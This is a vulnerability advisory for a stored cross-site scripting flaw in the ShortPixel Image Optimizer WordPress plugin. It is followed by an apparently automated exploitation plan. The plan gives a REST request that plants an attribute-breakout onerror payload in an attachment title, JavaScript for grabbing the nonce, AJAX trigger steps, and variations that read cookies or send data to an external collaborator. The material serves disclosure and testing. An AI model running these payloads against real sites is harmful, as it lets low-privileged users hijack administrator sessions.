ShortPixel Image Optimizer <= 6.4.3 - Authenticated (Author+) Stored Cross-Site Scripting via Attachment Title
Description
The ShortPixel Image Optimizer plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the attachment post_title in all versions up to, and including, 6.4.3. This is due to insufficient output escaping in the getEditorPopup() function and its corresponding media-popup.php template. Specifically, the attachment's post_title is retrieved from the database via get_post() in AjaxController.php (line 435) and passed directly to the view template (line 449), where it is rendered into an HTML input element's value attribute without esc_attr() escaping (media-popup.php line 139). Since WordPress allows Authors to set arbitrary attachment titles (including double-quote characters) via the REST API, a malicious author can craft an attachment title that breaks out of the HTML attribute and injects arbitrary JavaScript event handlers. This makes it possible for authenticated attackers, with Author-level access and above, to inject arbitrary web scripts that execute whenever a higher-privileged user (such as an administrator) opens the ShortPixel AI editor popup (Background Removal or Image Upscale) for the poisoned attachment.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:NTechnical Details
<=6.4.3What Changed in the Fix
Changes introduced in v6.4.4
Source Code
WordPress.org SVNThis exploitation research plan targets **CVE-2026-4335**, a stored Cross-Site Scripting (XSS) vulnerability in the **ShortPixel Image Optimizer** plugin (<= 6.4.3). --- ### 1. Vulnerability Summary The vulnerability exists because the plugin fails to properly escape the `post_title` of a WordPres…
Show full research plan
This exploitation research plan targets CVE-2026-4335, a stored Cross-Site Scripting (XSS) vulnerability in the ShortPixel Image Optimizer plugin (<= 6.4.3).
1. Vulnerability Summary
The vulnerability exists because the plugin fails to properly escape the post_title of a WordPress attachment when rendering it inside the ShortPixel AI editor popup (used for "Background Removal" or "Image Upscale"). While WordPress core generally sanitizes titles for HTML display, it allows Authors and above to include double-quote characters (") through the REST API.
When an administrator opens the AI editor for a poisoned attachment, the getEditorPopup() function in AjaxController.php fetches the attachment's post_title via get_post() and passes it to the media-popup.php template. In this template (at line 139), the title is echoed directly into the value attribute of an HTML <input> element without using esc_attr(). This allows an attacker to break out of the attribute and inject JavaScript event handlers (e.g., onerror, onfocus).
2. Attack Vector Analysis
- Vulnerable Endpoint: The AI Editor Popup UI, specifically the rendering logic in
media-popup.php. - Injection Point: Attachment
post_title(via REST API or Media Library). - Trigger Action: An Administrator opening the ShortPixel AI editor popup (Background Removal or Upscale) for a specific attachment.
- Required Authentication: Author-level access to upload and modify media.
- Preconditions:
- The plugin must be active.
- A valid ShortPixel API key might be required for the AI buttons to appear in the UI (though the AJAX endpoint itself may be directly reachable).
3. Code Flow
- Injection: Author-level user sends a
POSTrequest to/wp-json/wp/v2/media/[ID]setting thetitleto a malicious payload. - Retrieval: An administrator clicks "Background Remove" or "Upscale" in the Media Library.
- AJAX Call: The browser sends an AJAX request (likely
action: shortpixel_get_editor_popup) toadmin-ajax.php. - Backend Processing:
ShortPixel\Controller\AjaxController::getEditorPopup()is called.- Line 435:
$post = get_post($id);(Retrieves the attachment object). - Line 449: The post title is extracted and passed to the view variables.
- Rendering (Sink):
- The template
media-popup.phpis loaded. - Line 139:
<input ... value="<?php echo $view->post_title; ?>" ...>(Missingesc_attr).
- The template
- Execution: The administrator's browser renders the broken attribute and executes the injected payload.
4. Nonce Acquisition Strategy
The AJAX action for fetching the editor popup likely requires a nonce.
- Identify the Script: SPIO enqueues its media scripts on the
upload.phpandpost.php(Edit Media) pages. - Identify the Localized Variable: The plugin typically localizes data under the object
shortpixelorSPIO. Based on standard SPIO patterns, look forshortpixel.nonce. - Extraction Procedure:
- Navigate to
/wp-admin/upload.php. - Use
browser_evalto find the nonce:// Check common SPIO localization objects window.shortpixel?.nonce || window.SPIO?.nonce || window.ShortPixelConstants?.nonce - If no specific nonce is found, check for the standard WordPress
_wpnonceusually used in media actions.
- Navigate to
5. Exploitation Strategy
Step 1: Injection (Author)
Authenticate as an Author and update an existing attachment.
- Tool:
http_request - Method:
POST - URL:
https://[TARGET]/wp-json/wp/v2/media/[ATTACHMENT_ID] - Headers:
Content-Type: application/json - Body:
{ "title": "ShortPixel \"><img src=x onerror=alert(document.domain)>" }
Step 2: Trigger (Admin)
The payload executes when the Admin loads the editor popup.
- Method A (UI-based):
- Navigate to
/wp-admin/upload.php(List Mode). - Locate the poisoned attachment.
- Click the "Background Removal" or "Upscale" button provided by ShortPixel.
- Navigate to
- Method B (Direct AJAX):
- Fetch the required nonce for the action (e.g.,
sp_get_editor_nonce). - Send a direct request to
admin-ajax.php.
- Action:
shortpixel_get_editor_popup(Verbatim from description) - Parameters:
id=[ATTACHMENT_ID],action=shortpixel_get_editor_popup,_wpnonce=[NONCE]
- Fetch the required nonce for the action (e.g.,
6. Test Data Setup
- Users: Create one user with the
Authorrole. - Plugin Config:
- Install and activate ShortPixel Image Optimizer 6.4.3.
- Go to Settings > ShortPixel and ensure the plugin is initialized (a fake/valid API key might be needed to enable AI features).
- Media: Upload a standard
.jpgimage as the Author user to get a validATTACHMENT_ID.
7. Expected Results
- Injection Response: The REST API should return
200 OKwith the title containing the raw"><img ...>string. - Trigger Response: The AJAX response (HTML) will contain the following broken fragment:
<input ... value="ShortPixel "><img src=x onerror=alert(document.domain)>" ...> - Execution: A browser alert box showing the document domain will appear in the Admin's session.
8. Verification Steps
- Verify DB State: Use WP-CLI to check the raw title.
wp post get [ID] --field=post_title - Verify Output: Use
http_requestto call the AJAX endpoint and check if the payload is unescaped in the response body.# Look for the unescaped payload in the returned HTML grep -q 'value="ShortPixel "><img' response_body.txt
9. Alternative Approaches
- Payload Variation: If
alert()is blocked, useconsole.log(document.cookie)orfetch()to an external collaborator. - Attribute Breakout: If the
valueattribute is not the only one, try breaking out of other attributes likedata-filenameortitleif they are rendered in the same popup. - REST API Bypass: If the REST API is restricted, try updating the attachment title via the standard
post.php(Edit Media) screen as an Author, using double quotes in the title field.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.